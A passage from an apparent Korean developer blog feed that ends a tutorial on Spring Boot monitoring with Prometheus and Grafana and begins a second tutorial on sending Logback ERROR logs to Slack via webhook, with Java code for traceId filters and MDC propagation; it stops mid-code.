<h3 id="step-8-grafana-대시보드-설정">Step 8: Grafana 대시보드 설정</h3>

<h4 id="8-1-data-source-연결">8-1. Data Source 연결</h4>

<ol>
  <li>Grafana 로그인 후 <strong>Configuration → Data Sources → Add data source</strong> 클릭</li>
  <li><strong>Prometheus</strong> 선택</li>
  <li>URL에 <code class="language-plaintext highlighter-rouge">http://prometheus:9094</code> 입력 (Docker 네트워크 내부 통신)</li>
  <li><strong>Save &amp; Test</strong> 클릭하여 연결 확인</li>
</ol>

<p><img src="https://github.com/user-attachments/assets/bb801070-4493-4b05-a783-ce86507e6a0d" alt="Grafana Data Source 설정" /></p>

<h4 id="8-2-dashboard-import">8-2. Dashboard Import</h4>

<p>Grafana는 커뮤니티에서 만든 대시보드를 Import하여 바로 사용할 수 있습니다.</p>

<ol>
  <li><strong>Dashboards → Import</strong> 클릭</li>
  <li>Dashboard ID 입력 후 <strong>Load</strong> 클릭</li>
  <li>Data Source에서 앞서 추가한 Prometheus 선택</li>
  <li><strong>Import</strong> 클릭</li>
</ol>

<p><img src="https://github.com/user-attachments/assets/72b45287-1477-4e90-87b6-45769b1e8479" alt="Grafana Dashboard Import" /></p>

<p><strong>추천 대시보드</strong>:</p>

<table>
  <thead>
    <tr>
      <th>Dashboard</th>
      <th>ID</th>
      <th>특징</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>[JVM Micrometer](https://grafana.com/grafana/dashboards/4701-jvm-micrometer/)</td>
      <td>4701</td>
      <td>JVM 메모리, GC, 스레드 모니터링</td>
    </tr>
    <tr>
      <td>[JustAI System Monitor](https://grafana.com/grafana/dashboards/11378-justai-system-monitor/)</td>
      <td>11378</td>
      <td>시스템 리소스 종합 모니터링</td>
    </tr>
    <tr>
      <td>[Spring Boot Statistics](https://grafana.com/grafana/dashboards/12464-spring-boot-statistics/)</td>
      <td>12464</td>
      <td>HTTP 요청 통계, 응답 시간 분석</td>
    </tr>
  </tbody>
</table>

<h3 id="step-9-대시보드-모니터링">Step 9: 대시보드 모니터링</h3>

<p>대시보드 Import가 완료되면 Prometheus에서 수집한 메트릭이 실시간으로 시각화됩니다. CPU 사용률, JVM 힙 메모리, GC 빈도, 스레드 수 등 주요 시스템 지표를 한 화면에서 확인할 수 있습니다.</p>

<p><img src="https://github.com/user-attachments/assets/4259c69f-66a3-4b37-9560-c5519835a4c2" alt="Grafana 대시보드 모니터링 화면" /></p>

<p>또한 API 엔드포인트별 응답 속도(Latency) 리더보드를 통해, 어떤 API가 느린지 한눈에 파악할 수 있습니다. 응답 시간이 긴 API를 기준으로 정렬되므로 성능 병목 구간을 빠르게 식별하고 우선순위를 정하여 대응할 수 있습니다.</p>

<p><img src="https://github.com/user-attachments/assets/3a0ae0aa-1505-4023-b642-7db6c18a74a2" alt="API 응답 속도 리더보드" /></p>

<hr />

<h2 id="운영-팁">운영 팁</h2>

<h3 id="수집-메트릭-용량-관리">수집 메트릭 용량 관리</h3>

<p>Prometheus는 시계열 데이터를 로컬 디스크에 저장하므로, 주기적으로 용량을 확인해야 합니다.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 모니터링 디렉토리 용량 확인</span>
<span class="nb">sudo du</span> <span class="nt">-h</span> <span class="nt">--max-depth</span><span class="o">=</span>1 ~/monitoring/
</code></pre></div></div>

<p>docker-compose.yml에서 설정한 <code class="language-plaintext highlighter-rouge">retention.time=15d</code>와 <code class="language-plaintext highlighter-rouge">retention.size=4GB</code>에 의해 오래된 데이터는 자동으로 정리됩니다.</p>

<h3 id="컨테이너-관리">컨테이너 관리</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 컨테이너 중지 및 제거</span>
docker-compose down

<span class="c"># Grafana 데이터 초기화 (대시보드, 설정 포함)</span>
<span class="nb">rm</span> <span class="nt">-rf</span> ./grafana/data/<span class="k">*</span>

<span class="c"># 재시작</span>
docker-compose up <span class="nt">-d</span>
</code></pre></div></div>

<hr />

<h2 id="정리">정리</h2>

<p>Prometheus + Grafana + Spring Actuator 조합은 Spring Boot 기반 서비스에서 가장 널리 사용되는 모니터링 구성입니다.</p>

<p>이 구성을 도입한 후 다음과 같은 효과를 얻을 수 있었습니다:</p>

<ul>
  <li><strong>실시간 상태 파악</strong>: CPU, 메모리, JVM 힙, GC, HTTP 응답 시간을 대시보드에서 즉시 확인</li>
  <li><strong>다중 서버 비교</strong>: 여러 서버 인스턴스의 메트릭을 한 화면에서 비교하여 부하 불균형 감지</li>
  <li><strong>장애 선제 대응</strong>: Grafana 알림 기능으로 임계값 초과 시 사전 알림 가능</li>
  <li><strong>낮은 도입 비용</strong>: Actuator와 Micrometer는 별도 코드 추가 없이 주요 메트릭을 제공하며, Prometheus + Grafana는 오픈소스로 무료</li>
</ul>

<hr />

<h2 id="참고-자료">참고 자료</h2>

<ul>
  <li><a href="https://sjh9708.tistory.com/275">Spring Boot Actuator + Prometheus 설정</a></li>
  <li><a href="https://devlemon.tistory.com/30">Prometheus + Grafana 모니터링</a></li>
  <li><a href="https://woojjam.tistory.com/6">Spring Boot Monitoring with Grafana</a></li>
  <li><a href="https://techblog.woowahan.com/9232/">우아한형제들 기술블로그 - 모니터링</a></li>
  <li><a href="https://notavoid.tistory.com/70">Micrometer 메트릭 설정</a></li>
  <li><a href="https://nyyang.tistory.com/175">Grafana Dashboard 구성</a></li>
</ul>]]></content><author><name>KIM-KYOUNG-OH</name></author><category term="Infra" /><category term="Spring-Boot" /><category term="Actuator" /><category term="Prometheus" /><category term="Grafana" /><category term="Micrometer" /><category term="Docker" /><category term="Monitoring" /><summary type="html"><![CDATA[서비스를 운영하다 보면 “서버가 느려졌는데 원인을 모르겠다”는 상황을 자주 마주칩니다. CPU 사용률, 메모리, API 응답 시간 같은 시스템 메트릭을 실시간으로 확인할 수 있다면 장애 원인을 훨씬 빠르게 파악할 수 있습니다.]]></summary></entry><entry><title type="html">Slack Webhook 기반 에러 모니터링 시스템 구축하기</title><link href="https://coffeetimes.github.io/infra/2026/02/27/slack-error-monitoring.html" rel="alternate" type="text/html" title="Slack Webhook 기반 에러 모니터링 시스템 구축하기" /><published>2026-02-27T00:00:00+00:00</published><updated>2026-02-27T00:00:00+00:00</updated><id>https://coffeetimes.github.io/infra/2026/02/27/slack-error-monitoring</id><content type="html" xml:base="https://coffeetimes.github.io/infra/2026/02/27/slack-error-monitoring.html"><![CDATA[<p>서비스를 운영하다 보면 “장애가 발생했는데 아무도 몰랐다”는 상황이 가장 두렵습니다.
로그 파일을 뒤늦게 확인하고 나서야 문제를 인지하는 것은, 사용자가 이미 불편을 겪은 뒤라는 뜻이기 때문입니다.</p>

<p>이번 글에서는 <strong>Logback + Slack Webhook</strong>을 활용하여 운영 환경의 ERROR 로그를 실시간으로 Slack 채널에 전송하는 모니터링 시스템을 구축한 경험을 공유합니다.</p>

<h2 id="도입-배경">도입 배경</h2>

<p>에러 모니터링 시스템을 도입하기 전에는 다음과 같은 문제가 있었습니다:</p>

<ul>
  <li><strong>사후 대응 방식의 한계</strong>: 고객이 결함을 먼저 인지한 뒤 CS를 통해 전달받고 나서야 사후 조치하는 비효율적인 프로세스. 야간·주말에 발생한 에러는 다음 영업일까지 방치되기도 했습니다.</li>
  <li><strong>로그 추적의 어려움</strong>: 에러 발생 시점 정도의 적은 정보만으로 서버 로그에서 타겟 에러 포인트를 찾아야 했습니다. 대량의 로그 속에서 원인이 되는 정확한 지점을 특정하기까지 시간이 오래 걸렸습니다.</li>
</ul>

<p>이 문제들을 해결하기 위해 다음 목표를 세웠습니다:</p>

<ol>
  <li>ERROR 로그를 <strong>실시간</strong>으로 Slack 채널에 자동 전송하여 <strong>선제적 장애 대응</strong> 체계 구축</li>
  <li><strong>MDC 기반 traceId</strong>를 생성하여 요청 단위 로그 추적을 용이하게 개선</li>
  <li>비즈니스 예외는 <strong>필터링</strong>하여 실제 장애만 알림. 모든 에러를 무차별적으로 보내면 노이즈에 묻혀 정작 중요한 장애를 놓치게 되므로, 중요한 에러만 전송되도록 조절</li>
</ol>

<hr />

<h2 id="아키텍처">아키텍처</h2>

<h3 id="전체-흐름">전체 흐름</h3>

<div style="max-width: 700px; margin: 0 auto;">

<img class="mermaid" src="https://mermaid.ink/svg/eyJjb2RlIjoiZ3JhcGggTFJcbkFbSFRUUCDsmpTssq1dIC0tPiBCW0xvZ2dpbmdTZXR1cEZpbHRlcjxici8-dHJhY2VJZCDsg53shLEgJiBNREMg7KCA7J6lXVxuQiAtLT4gQ1tDb250cm9sbGVyIC8gU2VydmljZV1cbkMgLS0-IER7RVJST1Ig67Cc7IOdP31cbkQgLS0-fFllc3wgRVtTbGFja0xvZ0xheW91dDxici8-7JiI7Jm4IO2VhO2EsOungSAmIO2PrOunt-2MhV1cbkUgLS0-IEZbU2xhY2sg7LGE64SQIOyVjOumvF1cbkQgLS0-fE5vfCBHW-ygleyDgSDsspjrpqxdIiwibWVybWFpZCI6bnVsbH0" />

</div>

<h3 id="핵심-컴포넌트">핵심 컴포넌트</h3>

<table>
  <thead>
    <tr>
      <th>컴포넌트</th>
      <th>역할</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">LoggingSetupFilter</code></td>
      <td>HTTP 요청마다 traceId 생성, MDC에 저장</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">MdcTaskDecorator</code></td>
      <td>비동기 스레드로 MDC 컨텍스트 전파</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">AsyncConfig</code></td>
      <td>스레드 풀에 MdcTaskDecorator 적용</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">SlackLogLayout</code></td>
      <td>Slack 메시지 포맷팅 (이모지, traceId, 스택 트레이스)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">logback-spring.xml</code></td>
      <td>Slack Appender 설정, 레벨 필터링</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">application.yml</code></td>
      <td>Slack Webhook URL, 채널, 사용자명 설정</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="구현-가이드">구현 가이드</h2>

<h3 id="전제-조건">전제 조건</h3>

<ul>
  <li>Spring Boot 2.x 이상</li>
  <li>Logback (Spring Boot 기본 로깅)</li>
  <li>Slack Workspace에 Incoming Webhook 설정 완료</li>
</ul>

<h3 id="step-1-의존성-추가">Step 1: 의존성 추가</h3>

<p><strong>build.gradle</strong>:</p>

<div class="language-gradle highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">dependencies</span> <span class="o">{</span>
    <span class="c1">// Slack Appender</span>
    <span class="n">implementation</span> <span class="s1">'com.github.maricn:logback-slack-appender:1.6.1'</span>
<span class="o">}</span>
</code></pre></div></div>

<h3 id="step-2-traceid-생성-필터">Step 2: traceId 생성 필터</h3>

<p>모든 HTTP 요청에 고유한 <code class="language-plaintext highlighter-rouge">traceId</code>를 부여하여 로그 추적을 가능하게 합니다.</p>

<p><strong>LoggingSetupFilter.java</strong>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">com.github.f4b6a3.uuid.UuidCreator</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.slf4j.MDC</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.core.Ordered</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.core.annotation.Order</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.stereotype.Component</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.web.context.support.SpringBeanAutowiringSupport</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">javax.servlet.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.servlet.http.HttpServletRequest</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.IOException</span><span class="o">;</span>

<span class="cm">/**
 * logging 공통 filter - MDC를 이용해 프로세스 이력 추적
 */</span>
<span class="nd">@Component</span>
<span class="nd">@Order</span><span class="o">(</span><span class="nc">Ordered</span><span class="o">.</span><span class="na">HIGHEST_PRECEDENCE</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">LoggingSetupFilter</span> <span class="kd">implements</span> <span class="nc">Filter</span> <span class="o">{</span>

    <span class="kd">public</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">String</span> <span class="no">KEY_TRACE_ID</span> <span class="o">=</span> <span class="s">"traceId"</span><span class="o">;</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">init</span><span class="o">(</span><span class="nc">FilterConfig</span> <span class="n">filterConfig</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">ServletException</span> <span class="o">{</span>
        <span class="nc">SpringBeanAutowiringSupport</span><span class="o">.</span><span class="na">processInjectionBasedOnServletContext</span><span class="o">(</span>
            <span class="k">this</span><span class="o">,</span> <span class="n">filterConfig</span><span class="o">.</span><span class="na">getServletContext</span><span class="o">()</span>
        <span class="o">);</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">doFilter</span><span class="o">(</span><span class="nc">ServletRequest</span> <span class="n">request</span><span class="o">,</span> <span class="nc">ServletResponse</span> <span class="n">response</span><span class="o">,</span>
                         <span class="nc">FilterChain</span> <span class="n">filterChain</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">ServletException</span> <span class="o">{</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">request</span> <span class="k">instanceof</span> <span class="nc">HttpServletRequest</span><span class="o">)</span> <span class="o">{</span>
                <span class="nc">String</span> <span class="n">traceId</span> <span class="o">=</span> <span class="nc">UuidCreator</span><span class="o">.</span><span class="na">getTimeOrderedWithHash</span><span class="o">().</span><span class="na">toString</span><span class="o">();</span>
                <span class="no">MDC</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="no">KEY_TRACE_ID</span><span class="o">,</span> <span class="n">traceId</span><span class="o">);</span>
                <span class="n">request</span><span class="o">.</span><span class="na">setAttribute</span><span class="o">(</span><span class="no">KEY_TRACE_ID</span><span class="o">,</span> <span class="no">MDC</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="no">KEY_TRACE_ID</span><span class="o">));</span>
            <span class="o">}</span>

            <span class="n">filterChain</span><span class="o">.</span><span class="na">doFilter</span><span class="o">(</span><span class="n">request</span><span class="o">,</span> <span class="n">response</span><span class="o">);</span>
        <span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
            <span class="no">MDC</span><span class="o">.</span><span class="na">remove</span><span class="o">(</span><span class="no">KEY_TRACE_ID</span><span class="o">);</span>
            <span class="n">request</span><span class="o">.</span><span class="na">removeAttribute</span><span class="o">(</span><span class="no">KEY_TRACE_ID</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">destroy</span><span class="o">()</span> <span class="o">{}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>핵심 포인트:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">@Order(HIGHEST_PRECEDENCE)</code>: 모든 필터보다 먼저 실행되어 traceId가 전체 요청 흐름에서 사용 가능</li>
  <li><code class="language-plaintext highlighter-rouge">traceId</code>: 요청 단위 고유 식별자 (UUID 기반)</li>
  <li><code class="language-plaintext highlighter-rouge">finally</code> 블록: 요청 완료 후 MDC 정리 (스레드 풀 재사용 시 메모리 누수 방지)</li>
</ul>

<h3 id="step-3-mdc-비동기-컨텍스트-전파">Step 3: MDC 비동기 컨텍스트 전파</h3>

<p><code class="language-plaintext highlighter-rouge">@Async</code> 메서드 실행 시 새로운 스레드가 할당되면 기존 MDC 컨텍스트가 유실됩니다.
<code class="language-plaintext highlighter-rouge">MdcTaskDecorator</code>를 사용하여 비동기 스레드에도 traceId를 전파합니다.</p>

<p><strong>MdcTaskDecorator.java</strong>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">org.slf4j.MDC</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.core.task.TaskDecorator</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">java.util.Map</span><span class="o">;</span>

<span class="kd">public</span> <span class="kd">class</span> <span class="nc">MdcTaskDecorator</span> <span class="kd">implements</span> <span class="nc">TaskDecorator</span> <span class="o">{</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="nc">Runnable</span> <span class="nf">decorate</span><span class="o">(</span><span class="nc">Runnable</span> <span class="n">runnable</span><span class="o">)</span> <span class="o">{</span>
        <span class="c1">// 현재 스레드의 MDC 컨텍스트를 캡처</span>
        <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="n">contextMap</span> <span class="o">=</span> <span class="no">MDC</span><span class="o">.</span><span class="na">getCopyOfContextMap</span><span class="o">();</span>

        <span class="k">return</span> <span class="o">()</span> <span class="o">-&gt;</span> <span class="o">{</span>
            <span class="c1">// 비동기 스레드에 MDC 컨텍스트 설정</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">contextMap</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
                <span class="no">MDC</span><span class="o">.</span><span class="na">setContextMap</span><span class="o">(</span><span class="n">contextMap</span><span class="o">);</span>
            <span class="o">}</span>
            <span class="k">try</span> <span class="o">{</span>
                <span class="n">runnable</span><span class="o">.</span><span class="na">run</span><span class="o">();</span>
            <span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
                <span class="c1">// 스레드 풀 반납 전 MDC 정리</span>
                <span class="no">MDC</span><span class="o">.</span><span class="na">clear</span><span class="o">();</span>
            <span class="o">}</span>
        <span class="o">};</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>동작 원리</strong>:</p>

<p><img class="mermaid" src="https://mermaid.ink/svg/eyJjb2RlIjoic2VxdWVuY2VEaWFncmFtXG5wYXJ0aWNpcGFudCBNYWluIGFzIOuplOyduCDsiqTroIjrk5xcbnBhcnRpY2lwYW50IERlYyBhcyBNZGNUYXNrRGVjb3JhdG9yXG5wYXJ0aWNpcGFudCBBc3luYyBhcyDruYTrj5nquLAg7Iqk66CI65OcXG4lJS1cbk1haW4tPj5NYWluOiBNREPsl5AgdHJhY2VJZCDsoIDsnqVcbk1haW4tPj5EZWM6IEBBc3luYyDrqZTshJzrk5wg7Zi47LacXG5EZWMtPj5EZWM6IE1EQy5nZXRDb3B5T2ZDb250ZXh0TWFwKClcbkRlYy0-PkFzeW5jOiDsg4gg7Iqk66CI65Oc7JeQIOy7qO2FjeyKpO2KuCDrs7XsgqxcbkFzeW5jLT4-QXN5bmM6IE1EQy5zZXRDb250ZXh0TWFwKGNvbnRleHRNYXApXG5Bc3luYy0-PkFzeW5jOiDruYTspojri4jsiqQg66Gc7KeBIOyLpO2WiSAodHJhY2VJZCDsnKDsp4ApXG5Bc3luYy0-PkFzeW5jOiBNREMuY2xlYXIoKSAoZmluYWxseSkiLCJtZXJtYWlkIjpudWxsfQ" /></p>

<h3 id="step-4-비동기-설정에-mdctaskdecorator-적용">Step 4: 비동기 설정에 MdcTaskDecorator 적용</h3>

<p><strong>AsyncConfig.java</strong>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">org.springframework.context.annotation.Bean</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.context.annotation.Configuration</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.scheduling.annotation.EnableAsync</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">java.util.concurrent.Executor</span><span class="o">;</span>

<span class="nd">@Configuration</span>
<span class="nd">@EnableAsync</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">AsyncConfig</span> <span class="o">{</span>

    <span class="nd">@Bean</span><span class="o">(</span><span class="n">name</span> <span class="o">=</span> <span class="s">"threadPoolTaskExecutor"</span><span class="o">)</span>
    <span class="kd">public</span> <span class="nc">Executor</span> <span class="nf">threadPoolTaskExecutor</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">ThreadPoolTaskExecutor</span> <span class="n">taskExecutor</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ThreadPoolTaskExecutor</span><span class="o">();</span>
        <span class="n">taskExecutor</span><span class="o">.</span><span class="na">setCorePoolSize</span><span class="o">(</span><span class="mi">3</span><span class="o">);</span>
        <span class="n">taskExecutor</span><span class="o">.</span><span class="na">setMaxPoolSize</span><span class="o">(</span><span class="mi">30</span><span class="o">);</span>
        <span class="n">taskExecutor</span><span class="o">.</span><span class="na">setQueueCapacity</span><span class="o">(</span><span class="mi">100</span><span class="o">);</span>
        <span class="n">taskExecutor</span><span class="o">.</span><span class="na">setThreadNamePrefix</span><span class="o">(</span><span class="s">"AsyncExecutor-"</span><span class="o">);</span>
        <span class="n">taskExecutor</span><span class="o">.</span><span class="na">setTaskDecorator</span><span class="o">(</span><span class="k">new</span> <span class="nc">MdcTaskDecorator</span><span class="o">());</span>  <span class="c1">// MDC 전파 핵심</span>
        <span class="n">taskExecutor</span><span class="o">.</span><span class="na">initialize</span><span class="o">();</span>
        <span class="k">return</span> <span class="n">taskExecutor</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<blockquote>
  <p><strong>주의</strong>: <code class="language-plaintext highlighter-rouge">setTaskDecorator(new MdcTaskDecorator())</code>를 빠뜨리면 비동기 스레드에서 traceId가 <code class="language-plaintext highlighter-rouge">N/A</code>로 표시됩니다.</p>
</blockquote>

<h3 id="step-5-slack-로그-레이아웃-커스텀-포맷">Step 5: Slack 로그 레이아웃 (커스텀 포맷)</h3>

<p>Slack 메시지를 사람이 읽기 좋은 형태로 포맷팅합니다.</p>

<p><strong>SlackLogLayout.java</strong>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">ch.qos.logback.classic.Level</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">ch.qos.logback.classic.spi.ILoggingEvent</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">ch.qos.logback.classic.spi.IThrowableProxy</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">ch.qos.logback.classic.spi.StackTraceElementProxy</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">ch.qos.logback.core.LayoutBase</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">java.time.Instant</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.time.ZoneId</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.time.format.DateTimeFormatter</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.HashSet</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.Set</span><span class="o">;</span>

<span class="cm">/**
 * Slack 로그 전송을 위한 커스텀 레이아웃
 * - 로그 레벨별 이모지
 * - traceId 포함
 * - ERROR 시 전체 스택 트레이스
 * - 비즈니스 예외 필터링
 */</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">SlackLogLayout</span> <span class="kd">extends</span> <span class="nc">LayoutBase</span><span class="o">&lt;</span><span class="nc">ILoggingEvent</span><span class="o">&gt;</span> <span class="o">{</span>

    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">DateTimeFormatter</span> <span class="no">DATE_FORMATTER</span> <span class="o">=</span>
        <span class="nc">DateTimeFormatter</span><span class="o">.</span><span class="na">ofPattern</span><span class="o">(</span><span class="s">"yy-MM-dd HH:mm:ss"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">withZone</span><span class="o">(</span><span class="nc">ZoneId</span><span class="o">.</span><span class="na">systemDefault</span><span class="o">());</span>

    <span class="kd">private</span> <span class="nc">String</span> <span class="n">logPrefix</span> <span class="o">=</span> <span class="s">"unknown"</span><span class="o">;</span>
    <span class="kd">private</span> <span class="nc">Set</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">excludedExceptions</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashSet</span><span class="o">&lt;&gt;();</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="nc">String</span> <span class="nf">doLayout</span><span class="o">(</span><span class="nc">ILoggingEvent</span> <span class="n">event</span><span class="o">)</span> <span class="o">{</span>
        <span class="c1">// 제외 대상 예외는 빈 문자열 반환 (Slack 전송 안 함)</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">isExcludedException</span><span class="o">(</span><span class="n">event</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">return</span> <span class="s">""</span><span class="o">;</span>
        <span class="o">}</span>

        <span class="nc">StringBuilder</span> <span class="n">sb</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">();</span>

        <span class="c1">// 1. 레벨별 이모지</span>
        <span class="nc">String</span> <span class="n">emoji</span> <span class="o">=</span> <span class="n">getEmojiForLevel</span><span class="o">(</span><span class="n">event</span><span class="o">.</span><span class="na">getLevel</span><span class="o">());</span>
        <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="n">emoji</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="s">" *["</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">event</span><span class="o">.</span><span class="na">getLevel</span><span class="o">()).</span><span class="na">append</span><span class="o">(</span><span class="s">"]*\n"</span><span class="o">);</span>

        <span class="c1">// 2. 기본 정보</span>
        <span class="nc">String</span> <span class="n">moduleName</span> <span class="o">=</span> <span class="n">getLogPrefix</span><span class="o">(</span><span class="n">event</span><span class="o">);</span>
        <span class="nc">String</span> <span class="n">timestamp</span> <span class="o">=</span> <span class="no">DATE_FORMATTER</span><span class="o">.</span><span class="na">format</span><span class="o">(</span>
            <span class="nc">Instant</span><span class="o">.</span><span class="na">ofEpochMilli</span><span class="o">(</span><span class="n">event</span><span class="o">.</span><span class="na">getTimeStamp</span><span class="o">())</span>
        <span class="o">);</span>
        <span class="nc">String</span> <span class="n">traceId</span> <span class="o">=</span> <span class="n">event</span><span class="o">.</span><span class="na">getMDCPropertyMap</span><span class="o">().</span><span class="na">getOrDefault</span><span class="o">(</span><span class="s">"traceId"</span><span class="o">,</span> <span class="s">"N/A"</span><span class="o">);</span>
        <span class="nc">String</span> <span class="n">loggerName</span> <span class="o">=</span> <span class="n">getShortLoggerName</span><span class="o">(</span><span class="n">event</span><span class="o">.</span><span class="na">getLoggerName</span><span class="o">());</span>

        <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">"["</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">moduleName</span><span class="o">)</span>
          <span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">" "</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">timestamp</span><span class="o">)</span>
          <span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">" TRACE_ID="</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">traceId</span><span class="o">)</span>
          <span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">"] "</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">loggerName</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="s">"\n"</span><span class="o">);</span>

        <span class="c1">// 3. ERROR + 예외 → 스택 트레이스 포함</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">event</span><span class="o">.</span><span class="na">getLevel</span><span class="o">().</span><span class="na">isGreaterOrEqual</span><span class="o">(</span><span class="nc">Level</span><span class="o">.</span><span class="na">ERROR</span><span class="o">)</span>
            <span class="o">&amp;&amp;</span> <span class="n">event</span><span class="o">.</span><span class="na">getThrowableProxy</span><span class="o">()</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">appendErrorDetails</span><span class="o">(</span><span class="n">sb</span><span class="o">,</span> <span class="n">event</span><span class="o">);</span>
        <span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
            <span class="n">sb</span><span class="o">.</span><span class="na">append</span><span class="o">(</span><span class="s">"&gt; "</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">event</span><span class="o">.</span><span class="na">getFormattedMessage</span><span class="o">()).</span><span class="na">append</span><span class="o">(</span><span class="s">"\n"</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="k">return</span> <span class="n">sb</span><span class="o">.</span><span class="na">toString</span><span class="o">();</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="kt">void</span> <span class="nf">appendErrorDetails</span><span class="o">(</span><span class="nc">StringBuilder</span> <span class="n">sb</span><span class="o">,</span> <span class="nc">ILoggingEvent</span> <span class="n">event</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">IThrowableProxy</span> <span class="n">throwableProxy</span> <span class="o">=</span> <span class="n">event</span><span class="o">.</span><span class="na">getThrowableProxy</span><span class="o">();</span>

        <span class="nc">String</span> <span class="n">formattedMessage</span> <span class="o">=</span> <span class="n">event</span><span class="o">.</span><span class="na">getFormattedMessage</span><span class="o">();</span>
